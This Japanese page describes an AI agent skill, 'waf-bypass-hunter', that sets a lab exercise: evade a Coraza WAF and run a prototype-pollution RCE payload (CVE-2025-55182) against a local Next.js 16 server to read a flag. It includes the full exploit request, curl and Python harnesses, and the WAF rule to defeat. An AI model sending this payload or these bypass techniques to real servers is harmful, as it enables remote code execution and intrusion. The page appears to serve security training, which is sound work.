waf-bypass-hunter について
waf-bypass-hunterは、Next.jsの前段にあるCoraza WAFに対してペイロードを試すセキュリティ演習です。GoとNode.jsのパーサー差を利用し、レスポンス内のフラグ取得によって回避の成功を確認します。
主な機能
- 01CorazaとNode.jsのパーサー差分析
- 02WAF回避ペイロードのテスト
- 03WAFのブロックログ確認
- 04フラグ取得による回避の検証
活用シーン
- 01WAFとバックエンドのパーサー差の調査
- 02エクスプロイトペイロードのWAF通過確認
- 03確認済み回避手法の記録
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ hacktronai/ skills --skill waf-bypass-hunterインストール後、Claude Code で/waf-bypass-hunterを入力して読み込まれたか確認します。
詳細
WAF バイパスハンター
目的
WAF をバイパスして CVE-2025-55182 のエクスプロイトペイロードを実行し、フラグを取得します。
アーキテクチャ
┌─────────┐ ┌─────────────┐ ┌─────────────────┐
│ Agent │───▶│ Coraza WAF │───▶│ Next.js 16.0.6 │
│ │ │ (Go) │ │ (Node.js) │
│ │ │ Port: 9091 │ │ Port: 3000 │
└─────────┘ └─────────────┘ └─────────────────┘
エクスプロイト(CVE-2025-55182)
このペイロードはプロトタイプ汚染によって Next.js 16 で RCE を引き起こします。
POST / HTTP/1.1
Host: localhost:9091
Next-Action: x
Content-Type: multipart/form-data; boundary=yyy
Content-Length: 489
--yyy
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('cat /flag.txt').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_formData":{"get":"$1:constructor:constructor"}}}
--yyy
Content-Disposition: form-data; name="1"
"$@0"
--yyy--
このペイロードは次の要素を含むため、WAF によってブロックされます。
:constructor__proto__
目標
できるだけ多くの WAF バイパスを見つけてください。 有効なバイパス手法は約 5 種類あります。
各バイパスについて、次の条件を満たすペイロードを提示してください。
- WAF の検知をバイパスする — WAF にブロック対象のパターンを検知させない
- バックエンドが正しく解析する — Next.js/Busboy がデコードして処理する
- エクスプロイトを引き起こす — RCE が実行され、フラグが返される
各バイパスは、Go と Node.js の間にある異なるパーサーの差異を利用します。
テスト方法
PoC の簡易テスト(WAF に直接送信)
curl または Python を使って、WAF(http://localhost:9091/)に直接送信します。
curl --path-as-is -i -s -k -X POST \
-H 'Host: localhost' \
-H 'Next-Action: x' \
-H 'Content-Type: multipart/form-data; boundary=yyy' \
--data-binary $'--yyy\r\nContent-Disposition: form-data; name="0"\r\n\r\nYOUR_PAYLOAD_HERE\r\n--yyy--' \
'http://localhost:9091/'
import requests
resp = requests.post(
"http://localhost:9091/",
headers={
"Content-Type": "multipart/form-data; boundary=yyy",
"Next-Action": "x"
},
data=payload
)
print(resp.status_code)
print(resp.headers.get("X-Action-Redirect")) # Flag is here!
print(resp.text)
注: フラグは本文ではなく、X-Action-Redirect レスポンスヘッダーに表示されます。
デバッグ(サンドボックス実行ツール)
リクエストがブロックされた理由を確認するために WAF のログが必要な場合にのみ、実行ツールを使用してください。
curl -X POST http://localhost:8009/execute \
-H "Content-Type: application/json" \
-d '{"code": "import requests\nresp = requests.post(\"http://localhost:9091/\", ...)\nprint(resp.status_code)"}'
レスポンスには WAF のログが含まれます。
{
"stdout": "403",
"stderr": "",
"waf_logs": ["[BLOCKED] Rule 1008: Prototype Pollution detected"],
"execution_time_ms": 123
}
例:ブロックされたリクエスト
import requests
payload = '''--yyy
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","_response":{"_formData":{"get":"$1:constructor:constructor"}}}
--yyy--'''
resp = requests.post(
"http://waf:9090/",
headers={
"Content-Type": "multipart/form-data; boundary=yyy",
"Next-Action": "x"
},
data=payload
)
print(resp.status_code) # 403 - Blocked by WAF
print(resp.text)
利用可能なソースコード
sources/ にあるパーサーの実装を調べてください。
sources/coraza/internal/bodyprocessors/- WAF のパーサー(Go)sources/busboy/lib/- バックエンドのパーサー(Node.js)sources/nextjs/packages/next/src/server/- Next.js のサーバーアクション処理
成功条件
重要:フラグを正常に取得できた場合にのみ、バイパスは有効とみなされます。
仮定上または理論上のバイパスは対象になりません。次のことを行う必要があります。
- WAF にペイロードを送信して実行する
- レスポンスでフラグを受け取る
- 証拠として取得したフラグを提示する
確認済みのバイパスごとに、次の内容を示してください。
- 使用した手法
- 正確に動作するペイロード
- 取得したフラグ
フラグは次の場所に表示されることがあります。
- レスポンスヘッダー(例:
X-Action-Redirect) - レスポンス本文
- エラーメッセージ
フラグの形式は HACKTRON{...} です。
WAF のルール(バイパス対象)
# Block prototype pollution patterns
SecRule REQUEST_BODY|ARGS "@rx (?:__proto__|:constructor)" "id:1008,deny"
進め方
sources/のソースコードを分析する- Go と Node.js で解析方法が異なる箇所を特定する
- 解析の差異を利用するペイロードを作成する
- PoC を
localhost:9091の WAF に直接送信してテストする - ブロックされた場合は、実行ツールで WAF のログを取得し、理由を確認する
- フラグを取得できるまで繰り返す
- 手法がうまくいかない場合は、次に進んでください — さらにコードを読み、別の解析の差異を探す
- 引き続き探してください — 異なる手法を使って、さらに多くのバイパスを見つけましょう!